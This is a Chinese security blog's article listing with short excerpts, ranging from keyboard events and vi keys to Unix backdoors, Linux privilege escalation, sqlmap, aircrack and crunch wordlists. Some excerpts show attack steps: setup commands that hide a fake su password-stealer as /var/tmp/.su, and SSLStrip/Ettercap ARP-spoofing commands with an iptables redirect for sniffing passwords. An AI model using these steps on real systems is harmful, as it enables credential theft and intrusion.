关闭

Javascript 检测键盘按键

Javascript中 有3个事件句柄在对应键盘的输入状态:keydown、keypress和keyup。 分别对应的意思是:按键被按下(按下按键但还没有抬起)、点击按键(按下并抬起按键)、按键抬起(按键抬起之后) 按键的分类: 按键可以分为“实键”和“虚键” 实键可以理解为我们能够看到并打印出来的按键,如字母“A”、数字“1”、字符“?”等等 虚键就是那些无法打印出...
阅读(3594) 评论(0)

Linux vi 按键键盘映射表

光标控制命令   命令 光标移动   h或^h 向左移一个字符   j或^j或^n 向下移一行   k或^p 向上移一行   l或空格 向右移一个字符   G 移到文件的最后一行   nG 移到文件的第n行   w 移到下一个字的开头   W 移到下一个字的开头,忽略标点符号   b 移到前一个字的开头   B 移到前一个字的开头,忽略标点符号   L 移到屏幕的最后一行   M 移到屏幕的中间一...
阅读(3624) 评论(0)

Unix/Linux上的后门技术和防范

对黑客来讲,入侵一个系统只是万里长征的开始,最主要的是长期占有一个肉鸡(傀儡机),所以,后门技术往往非常重要。对于我们来讲,总是处于被动的地位,百密一疏,总有没有做到位的地方,谁都不能保证自己的系统是绝对安全的,所以不能避免我们可能会被入侵。黑客入侵后肯定会留后门,当然,除了那些高手,境界非常高,入侵只是为了测试或者技术挑战,对于一般黑客来讲,入侵之后留个后门是很重要的,我们要防范,当然就要了解常...
阅读(812) 评论(0)

kpr-fakesu.c Linux su密码欺骗 源码

/* * kpr-fakesu.c V0.9beta167 ;P * by koper * * Setting up: * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * admin@host:~$ mv .su /var/tmp/.su * admin@host:~$ cp .bash_profile .wgetrc...
阅读(1674) 评论(0)

如果ssh端口转发时候-g没有效果解决方案

-g Allow remote hosts to connect to forwarded ports. 在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。 其实这是ssh默认的安全策略所致 修改配置文件 HiRoot@bt:~#vi /etc/ssh/sshd_config 在文件最后加入 gatewayports yes...
阅读(2637) 评论(0)

Linux提权的一些基本思路

Before starting, I would like to point out - I'm no expert. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point)....
阅读(3589) 评论(0)

SQLMAP参数中文解说

#HiRoot's Blog Options(选项): --version 显示程序的版本号并退出 -h, --help 显示此帮助消息并退出 -v VERBOSE 详细级别:0-6(默认为1) Target(目标): 以下至少需要设置其中一个选项,设置目标URL。 -d DIRECT 直接连接到数据库。 -u URL, --url=URL 目标URL。 -l LIST 从Burp或WebSc...
阅读(27711) 评论(0)

BackTrack 5R2 安装VNC

BackTrack 5R2 安装VNC hiroot@bt:~#apt-get install vnc4server hiroot@bt:~#vnc4server /-- 此时系统会提示你输入密码,在通过客户端链接时将会用到这个密码。--/ 编辑 /root/.vnc/xstartup 文件: hiroot@bt:~#vi /root/.vnc/xstartup #!/bi...
阅读(1795) 评论(2)

AirCrack中文手册 1.0

//-------------------------------------------------------------------- // AirCrack中文手册 1.0 // 翻译:GaA.Ra(zhoufan#yahoo.cn) // 随意转载,但请保留此部分信息,谢谢 /...
阅读(2106) 评论(0)

BackTrack5 R2 GNOME 汉化

有些朋友可能不知道如何汉化BackTrack5 R2 GNOME或者再汉化中遇到些问题,其实汉化很简单,过程如下。 打开终端: hiroot@bt:~# apt-get install language-selector 打开System->Administration->Language Support Install/Remove Language中选择 Chinese(simpl...
阅读(2736) 评论(2)

Backtrack下密码字典生成器使用参数(crunch3.0)

Creating wordlists with crunch v3.0 CRUNCH v3.0 Warning... this is a looong post, grab a beverage.. ;) Also heavy on images.. PRE-INTRO Since the post on Creating wordlists with crunch v...
阅读(6322) 评论(0)

利用SSLStrip & Ettercap ARP欺骗嗅探密码

apt-get purge ettercap apt-get purge sslstrip apt-get install ettercap apt-get install sslstrip echo '1' > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --destination-port...
阅读(3714) 评论(0)

ettercap 修改页面内容

if (ip.proto == TCP && ip.dst != '192.168.1.2' && tcp.dst == 80 || tcp.dst == 8080) { #...and if it contains an Accept-Encoding header... if (search(DATA.data, "Accept-Encodi...
阅读(1547) 评论(0)

mstsc.exe的小插件,隐藏客户端计算机名

当mstsc.exe登陆远程桌面服务器的时候,mstsc.exe会将客户端的一些信息发给服务端,最讨厌的就是将本机的计算机名、网卡ip发送过去, 不管你跳了几次代理,在服务器上的任务管理器的“用户”选项卡中显示的客户端名就是我的计算机名,以及系统事件日志中也有,这个小插件就是解决这个问题 的,利用微软的Virtual Channel Client DLL插件接口来加载dll,然后hook API...
阅读(1180) 评论(0)

BT5 R1不能启动ibus输入法解决方案

HiRoot@bt:~# 系统设置-开机和关机-自动启动,添加程序,添加一个路径为usr/bin/ibus-daemon -x -r -d 并勾选在终端下运行。 确定 重启OK...
阅读(1524) 评论(0)
34条 共3页1 2 3 下一页 尾页
    文章分类
    最新评论